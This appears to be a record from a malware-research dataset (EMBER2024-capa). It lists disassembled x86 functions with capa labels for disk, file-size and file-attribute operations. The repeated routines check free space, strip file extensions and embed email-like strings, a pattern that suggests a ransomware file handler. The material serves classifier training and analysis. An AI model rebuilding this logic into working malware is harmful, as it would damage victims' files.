joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003c0b0
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x8f4
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x8f0], eax
push ebx
push ebp
mov ebp, dword [esp + 0x900]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x12e]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x134], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c147
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003c17d
jb 0x1003c15d
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003c17d
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x8f0]
xor ecx, esp
call fcn.100d0738
add esp, 0x8f4
ret
push esi
lea eax, [esp + 0x12c]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003c24d
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push 0xfe
lea edx, [esp + 0x2e]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x34], cx
call fcn.100d4cc0
add esp, 0xc
lea eax, [esp + 0x128]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov ecx, 0x80
lea edx, [esp + 0x28]
call fcn.10003cf0
lea ecx, [esp + 0x128]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x10129ee0
mov eax, 0x7d0
lea edi, [esp + 0x12c]
call fcn.100044f0
push str._dbger_protonmail.com_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [esp + eax*2 + 0x28]
push edx
mov eax, 0x7d0
call fcn.100044f0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebp, eax
cmp esi, ebx
je 0x1003c231
mov eax, edi
push eax
push esi
call fcn.1001adc0
jmp 0x1003c233
xor al, al
push ebp
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, edi
neg ecx
sbb ecx, ecx
add ecx, 5
push ecx
push esi
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x8fc]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x8f4
ret
Function at 0x1003c270
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c2fd
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003c333
jb 0x1003c313
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003c333
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003c386
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, eax
lea eax, [esp + 0x20]
push eax
call edi
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x20]
push edx
push esi
call fcn.10006930
push ebx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, edi
neg eax
sbb eax, eax
add eax, 5
push eax
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003c3b0
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7f4
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7f0], eax
push ebx
push ebp
mov ebp, dword [esp + 0x800]
push esi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x2e]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov word [esp + 0x34], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x18]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1003c441
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x1c]
ja 0x1003c477
jb 0x1003c457
mov edx, dword [esp + 0x10]
cmp edx, dword [esp + 0x18]
jae 0x1003c477
push 6
push edi
call ebp
or eax, 0xffffffff
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7f0]
xor ecx, esp
call fcn.100d0738
add esp, 0x7f4
ret
push edi
lea eax, [esp + 0x2c]
call fcn.10039f60
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x1003c529
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str._sicck_protonmail.com_
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, eax
lea eax, [esp + 0x28]
push eax
add esi, esi
call ebx
lea ecx, [esp + 0x28]
mov ebp, eax
push ecx
add ebp, esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, 0x3e8
lea edx, [esp + 0x28]
sub esi, eax
push edx
add esi, esi
call ebx
shr esi, 1
mov edx, eax
mov ecx, esi
je 0x1003c4ee
cmp ecx, 0x7fffffff
ja 0x1003c4ee
mov eax, ebp
call fcn.10003cf0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
test edi, edi
je 0x1003c509
push edi
lea ecx, [esp + 0x2c]
call fcn.1001b320
jmp 0x1003c50b
xor al, al
mov ecx, dword [esp + 0x20]
push ecx
push edi
movzx esi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, esi
neg edx
sbb edx, edx
add edx, 5
push edx
push edi
call dword [esp + 0x2c]
mov ecx, dword [esp + 0x7fc]
mov eax, esi
neg eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7f4
ret
Function at 0x1003c550
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7f8
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7f0], eax
mov eax, dword [esp + 0x800]
push ebx
push ebp
mov ebp, dword [esp + 0x804]
push edi
xor ebx, ebx
push 0x7ce
lea edx, [esp + 0x2e]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov word [esp + 0x34], cx
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea eax, [esp + 0x18]
push eax
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c5e8
lea ecx, [esp + 0x18]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
cmp edx, dword [esp + 0x1c]
ja 0x1003c61e
jb 0x1003c5fe
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x18]
jae 0x1003c61e
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7f0]
xor ecx, esp
call fcn.100d0738
add esp, 0x7f8
ret
push esi
lea eax, [esp + 0x2c]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003c66d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x28]
push ecx
mov ebx, eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x28]
push edx
mov edx, esi
call fcn.10014bf0
push ebx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, edi
neg eax
sbb eax, eax
add eax, 5
push eax
push esi
call ebp
mov ecx, dword [esp + 0x7fc]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7f8
ret
Function at 0x1003c690
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c71d
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003c753
jb 0x1003c733
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003c753
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003c79e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
mov ebx, eax
call fcn.1000eaa0
push ebx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, edi
neg edx
sbb edx, edx
add edx, 5
push edx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003c7c0
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7f4
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7f0], eax
push ebx
push ebp
mov ebp, dword [esp + 0x800]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x2e]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov word [esp + 0x34], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x18]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c84d
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x1c]
ja 0x1003c883
jb 0x1003c863
mov edx, dword [esp + 0x10]
cmp edx, dword [esp + 0x18]
jae 0x1003c883
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7f0]
xor ecx, esp
call fcn.100d0738
add esp, 0x7f4
ret
push esi
lea eax, [esp + 0x2c]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003c8db
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [esp + 0x24], eax
cmp esi, ebx
je 0x1003c8bd
lea ecx, [esp + 0x28]
push ecx
push esi
call fcn.10007490
jmp 0x1003c8bf
xor al, al
mov edx, dword [esp + 0x24]
push edx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, edi
neg eax
sbb eax, eax
add eax, 5
push eax
push esi
call ebp
mov ecx, dword [esp + 0x7fc]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7f4
ret
Function at 0x1003c900
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003c98d
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003c9c3
jb 0x1003c9a3
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003c9c3
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003ca0e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
mov ebx, eax
call fcn.1000f090
push ebx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, edi
neg edx
sbb edx, edx
add edx, 5
push edx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003ca30
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003cabd
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003caf3
jb 0x1003cad3
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003caf3
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003cb42
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [esp + 0x20]
mov ecx, esi
mov ebx, eax
call fcn.10005140
test al, al
push ebx
setne al
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, edi
neg ecx
sbb ecx, ecx
add ecx, 5
push ecx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003cb70
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003cbfd
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003cc33
jb 0x1003cc13
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003cc33
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003cc7e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x20]
mov ebx, eax
push ecx
mov eax, esi
call fcn.1001aa10
push ebx
push esi
movzx edi, al
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, edi
neg edx
sbb edx, edx
add edx, 5
push edx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003cca0
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003cd2d
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003cd63
jb 0x1003cd43
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003cd63
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003cdab
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea ecx, [esp + 0x24]
mov ebx, eax
call fcn.10010900
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, edi
neg ecx
sbb ecx, ecx
add ecx, 5
push ecx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003cdd0
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7ec
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7e8], eax
push ebx
push ebp
mov ebp, dword [esp + 0x7f8]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x26]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov word [esp + 0x2c], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003ce5d
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0x14]
ja 0x1003ce93
jb 0x1003ce73
mov edx, dword [esp + 0x18]
cmp edx, dword [esp + 0x10]
jae 0x1003ce93
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7e8]
xor ecx, esp
call fcn.100d0738
add esp, 0x7ec
ret
push esi
lea eax, [esp + 0x24]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003cedb
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea ecx, [esp + 0x24]
mov ebx, eax
call fcn.1001ebc0
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, edi
neg ecx
sbb ecx, ecx
add ecx, 5
push ecx
push esi
call ebp
mov ecx, dword [esp + 0x7f4]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7ec
ret
Function at 0x1003cf00
Capabilities:
Get disk size
Get file attributes
Get file size
Set file attributes

Disassembly:
sub esp, 0x7f4
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x7f0], eax
push ebx
push ebp
mov ebp, dword [esp + 0x800]
push edi
xor ebx, ebx
push 0x7ce
lea ecx, [esp + 0x2e]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov word [esp + 0x34], ax
call fcn.100d4cc0
add esp, 0xc
push ebx
push ebx
lea edx, [esp + 0x18]
push edx
push 0x101dd568
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1003cf8d
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x1c]
ja 0x1003cfc3
jb 0x1003cfa3
mov edx, dword [esp + 0x10]
cmp edx, dword [esp + 0x18]
jae 0x1003cfc3
push 6
push esi
call ebp
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
mov ecx, dword [esp + 0x7f0]
xor ecx, esp
call fcn.100d0738
add esp, 0x7f4
ret
push esi
lea eax, [esp + 0x2c]
call fcn.10039f60
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x1003d038
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea eax, [esp + 0x28]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
call edi
lea edx, [esp + 0x28]
push edx
call edi
lea eax, [esp + 0x28]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [esp + 0x24], eax
cmp esi, ebx
je 0x1003d01d
lea edx, [esp + 0x28]
mov ecx, esi
call fcn.10005cc0
mov edi, eax
jmp 0x1003d01f
xor edi, edi
mov edx, dword [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, edi
neg eax
sbb eax, eax
add eax, 5
push eax
push esi
call ebp
mov ecx, dword [esp + 0x7fc]
mov eax, edi
neg eax
pop edi
sbb eax, eax
pop ebp
neg eax
pop ebx
xor ecx, esp
dec eax
call fcn.100d0738
add esp, 0x7f4
ret